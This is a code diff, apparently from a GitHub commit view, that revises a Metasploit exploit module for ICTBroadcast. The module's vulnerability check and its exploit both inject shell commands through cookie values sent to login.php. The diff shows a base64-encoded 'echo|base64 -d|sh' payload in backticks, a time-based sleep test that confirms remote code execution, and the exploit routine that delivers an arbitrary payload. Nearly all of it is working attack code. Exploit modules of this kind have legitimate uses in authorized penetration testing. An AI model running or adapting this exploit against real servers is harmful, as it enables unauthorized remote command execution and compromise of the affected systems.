@@ -20,7 +20,7 @@ def initialize(info = {})
20
20
and processed, allowing an attacker to inject arbitrary system commands.
21
21
} ,
22
22
'Author' => [
23
- 'Valentin Lobstein' # Metasploit module, Vulnerability discovery
23
+ 'Valentin Lobstein' # Metasploit module author
24
24
] ,
25
25
'License' => MSF_LICENSE ,
26
26
'References' => [
@@ -51,81 +51,73 @@ def initialize(info = {})
51
51
end
52
52
53
53
def get_valid_cookies
54
- return @valid_cookies if @valid_cookies
55
-
56
- print_status ( 'Retrieving session cookies dynamically...' )
57
- res = send_request_cgi (
58
- 'method ' => 'GET' ,
59
- 'uri' => normalize_uri ( target_uri . path , 'login.php' )
60
- )
61
-
62
- res_cookies = res & .get_cookies
63
- return [ ] unless res_cookies
64
- cookies = res_cookies . split ( '; ' ) . map do | c |
65
- key , value = c . split ( '=' , 2 )
66
- next unless key && value
67
-
68
- Msf :: Exploit :: Remote :: HTTP :: HttpCookie . new ( key . strip , value . strip )
69
- end . compact
54
+ @get_valid_cookies ||= begin
55
+ print_status ( 'Retrieving session cookies dynamically' )
56
+ res = send_request_cgi (
57
+ 'method' => 'GET' ,
58
+ 'uri ' => normalize_uri ( target_uri . path , 'login.php' )
59
+ )
60
+ fail_with ( Failure :: UnexpectedReply , 'No response from server' ) unless res
61
+
62
+ if ( cookies = res . get_cookies )
63
+ cookie_jar . clear
64
+ cookie_jar . parse_and_merge (
65
+ cookies ,
66
+ " #{ datastore [ 'SSL' ] ? 'https' : 'http' } :// #{ rhost } : #{ rport } "
67
+ )
68
+ print_status ( "Found cookies: #{ cookie_jar . cookies . map ( & :to_s ) . join ( '; ' ) } " )
69
+ end
70
70
71
- print_status ( "Found cookies: #{ cookies . map ( & :to_s ) . join ( ', ' ) } " )
72
- @valid_cookies = cookies
71
+ cookie_jar
72
+ end
73
73
end
74
74
75
- def inject_cookie_payload ( command )
76
- cookies = get_valid_cookies
77
- return if cookies . blank ?
75
+ def inject_command ( command )
76
+ jar = get_valid_cookies
77
+ return if jar . empty ?
78
78
79
- encoded_command = Rex ::Text . encode_base64 ( command )
80
- payload = "echo${IFS}#{ encoded_command } |base64${IFS}-d|sh"
79
+ jar . cookies . each do |c |
80
+ original = c . value
81
+ c . value = "`echo${IFS}#{ Rex ::Text . encode_base64 ( command ) } |base64${IFS}-d|sh`"
81
82
82
- updated_cookies = cookies . map do |cookie |
83
- "#{ cookie . name } =`#{ payload } `"
84
- end . join ( '; ' )
83
+ send_request_cgi (
84
+ 'method' => 'GET' ,
85
+ 'uri' => normalize_uri ( target_uri . path , 'login.php' ) ,
86
+ 'cookie_jar' => jar
87
+ )
85
88
86
- send_request_cgi (
87
- 'method' => 'GET' ,
88
- 'uri' => normalize_uri ( target_uri . path , 'login.php' ) ,
89
- 'headers' => { 'Cookie' => updated_cookies }
90
- )
89
+ c . value = original
90
+ end
91
91
end
92
92
93
93
def check
94
- print_status ( 'Checking if target is an ICTBroadcast instance…' )
94
+ print_status ( 'Checking ICTBroadcast via JS fingerprints' )
95
+
96
+ fingerprint_found = %w[
97
+ IVRDesigner.js agent.js campaign.js campaign_feedback.js
98
+ campaign_integration.js phone.js supervisor.js trunk.js
99
+ ] . any? do |file |
100
+ uri = normalize_uri ( target_uri . path , 'js' , file )
101
+ res = send_request_cgi! ( 'method' => 'GET' , 'uri' => uri )
102
+ res &.code == 200 && res . body . include? ( 'ICT Innovations' )
103
+ end
95
104
96
- res = send_request_cgi! (
97
- 'method' => 'GET' ,
98
- 'uri' => normalize_uri ( target_uri . path )
99
- )
100
- return Exploit ::CheckCode ::Unknown ( 'No response from target.' ) unless res
101
- return Exploit ::CheckCode ::Safe unless res . code == 200
102
-
103
- html = res . get_html_document
104
- title = html . at ( 'title' ) &.text
105
- keywords = html . at ( "meta[name='keywords']" ) &.[]( 'content' )
106
- description = html . at ( "meta[name='description']" ) &.[]( 'content' )
107
-
108
- if title &.include? ( 'ICT Broadcast' ) ||
109
- keywords &.include? ( 'ict' ) ||
110
- description &.include? ( 'ICT Broadcast' )
111
-
112
- print_good ( 'ICTBroadcast detected, verifying injection…' )
113
-
114
- [ 1 , 2 , 3 , 4 , 5 ] . sample ( 3 ) . each do |t |
115
- start_time = Time . now
116
- inject_cookie_payload ( "sleep #{ t } " )
117
- if ( Time . now - start_time ) >= ( t - 0.3 )
118
- return Exploit ::CheckCode ::Vulnerable ( "Injection confirmed (slept #{ t } s)" )
119
- end
120
- end
105
+ return CheckCode ::Safe unless fingerprint_found
106
+
107
+ print_good ( 'JS fingerprint found; performing timing tests' )
121
108
122
- return Exploit ::CheckCode ::Appears ( 'ICTBroadcast detected, but injection timing did not match.' )
109
+ [ 3 , 4 , 5 ] . sample ( 2 ) . each do |t |
110
+ start = Time . now
111
+ inject_command ( "sleep #{ t } " )
112
+ if Time . now - start >= ( t - 0.3 )
113
+ return CheckCode ::Vulnerable ( "Injected RCE (slept #{ t } s)" )
114
+ end
123
115
end
124
116
125
- Exploit :: CheckCode ::Safe
117
+ CheckCode ::Appears ( 'Fingerprint present but timing did not match' )
126
118
end
127
119
128
120
def exploit
129
- inject_cookie_payload ( payload . encoded )
121
+ inject_command ( payload . encoded )
130
122
end
131
123
end
0 commit comments